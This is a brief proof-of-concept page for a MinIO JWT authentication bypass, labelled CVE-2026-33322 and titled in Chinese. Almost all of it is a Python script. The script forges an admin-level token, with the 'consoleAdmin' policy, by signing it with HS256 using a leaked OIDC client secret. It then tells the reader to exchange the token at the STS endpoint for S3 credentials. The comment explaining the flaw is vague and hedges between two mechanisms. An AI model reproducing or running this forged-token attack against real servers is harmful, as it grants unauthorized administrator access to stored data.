CVE-2026-33322 MinIO JWT认证绕过漏洞

import jwt import time # PoC for CVE-2026-33322: MinIO JWT Algorithm Confusion # Description: Forge a JWT using the leaked OIDC ClientSecret via HS256. # Prerequisite: Attacker knows the 'client_secret' used in MinIO OIDC config. client_secret = "LEAKED_OIDC_CLIENT_SECRET" # Malicious payload claiming admin privileges payload = { "sub": "attacker", "act": "admin", "policy": "consoleAdmin", # Highest privilege "exp": int(time.time()) + 3600, "iat": int(time.time()) } # Sign the token with HS256 (HMAC) using the client secret. # The vulnerability is that the server might expect RS256 (RSA) # but accepts HS256, verifying it with the public key treated as a secret, or directly with the secret. forged_token = jwt.encode(payload, client_secret, algorithm="HS256") print(f"[+] Forged JWT Token: {forged_token}") print("[+] Send this token to the MinIO STS endpoint to obtain S3 credentials.")